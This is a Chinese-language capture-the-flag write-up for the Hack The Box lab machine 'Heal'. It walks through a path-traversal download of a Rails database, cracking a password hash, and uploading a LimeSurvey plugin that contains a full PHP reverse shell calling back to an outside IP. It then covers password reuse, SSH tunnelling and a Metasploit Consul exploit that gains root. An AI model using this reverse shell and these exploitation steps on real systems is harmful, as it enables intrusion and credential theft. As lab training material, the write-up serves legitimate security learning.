Heal

Linux · Medium
Target IP Address:10.10.11.46

nmap扫描

image-20250113161322126

ip访问跳转heal.htb,添加hosts规则

gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u heal.htb  --append-domain

image-20250113163759277

暂时没啥用

image-20250113185010438

访问heal.htb找到注册页,注册登录会跳转到/resume路由

image-20250113184936062

image-20250113185423452

/profile页面ID为2,说明是有初始账户的

image-20250113185459302

/survey页面调查问卷还指向take-survey.heal.htb域名

image-20250113184452878

扫面这个域可以拿到一个email地址ralph@heal.htb

image-20250113184452878

http://heal.htb/resume最下面可以导出PDF

image-20250113192552116

测试发现存在目录穿越

image-20250113192810742

image-20250113193857843

回到之前找到的api.heal.htb,根据页面信息版本找到源码rails/rails: Ruby on Rails

rails配置在config/目录下

image-20250113201041502

找到数据库配置

image-20250113200838670

读到如下,数据库储存路径storage/development.sqlite3

image-20250113201118560

curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ" http://api.heal.htb/download?filename=../../storage/development.sqlite3 -o development.sqlite3

navicat查看数据库数据找到用户信息

image-20250113205046842

echo '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' >hash
john hash

image-20250113205858599

登入LimeSurvey,发现是可以上传插件的,可以写一个插件getshell

image-20250113231548989

上传一个zip包含xml和木马

<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Webshell</name>
        <type>plugin</type>
        <creationDate>2024-01-13</creationDate>
        <lastUpdate>2024-01-13</lastUpdate>
        <author>n0o0b</author>
        <authorUrl>https://www.n0o0b.com</authorUrl>
        <version>1.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description><![CDATA[Execute shell commands]]></description>
    </metadata>

    <compatibility>
        <version>6.0</version>
        <version>5.0</version>
        <version>4.0</version>
        <version>3.0</version>
    </compatibility>

    <updaters disabled="disabled">
    </updaters>
</config>
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.25';  // CHANGE THIS
$port = 8888;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>

木马改为自己的ip和端口,打包成zip上传安装

image-20250113232246832

nc监听后访问http://take-survey.heal.htb/upload/plugins/Webshell/php-shell.php

image-20250113232042818

查一下有没有配置文件密码泄露

grep password -r `find /var/www/ -name '*config*'`

看样子是数据库密码AdmiDi0_pA$$w0rd

image-20250113234225985

尝试ssh连接,ralph连接失败,发现还有另一个用户,尝试连接登入

image-20250114000441057

image-20250114000514988

image-20250114000630485

0ce79c5ad8767f57b91da7591e6d7bcc

sudo发现没有权限,ss查看网络

ss -tuln

image-20250114003206339

本地curl一下发现这几个能通

image-20250114004745545

ssh做个端口转发SSH端口转发(本地转发、远程转发、动态转发) - zangfans - 博客园

ssh –L 9527:telnetsrv:23 -N sshsrv
ssh –R 9527:telnetsrv:23 –N sshsrv
ssh -L 8500:127.0.0.1:8500 -Nf ron@heal.htb
ssh -L 3000:127.0.0.1:3000 -fN ron@heal.htb
ssh -L 3001:127.0.0.1:3001 -fN ron@heal.htb

3000是跟80一样页面,8500有新服务(Consul),Services也能看出80是总出口,Heal对应本地3000,API对应本地3001,PostgreSQL对应本地5432

image-20250114011737837

msf搜索发现漏洞

image-20250114015953791

use 15
show options
set LHOST tun0
set RHOSTS 127.0.0.1
run

image-20250114020335250

image-20250114020706825

94d47ef91897386fda29deccc1cf6098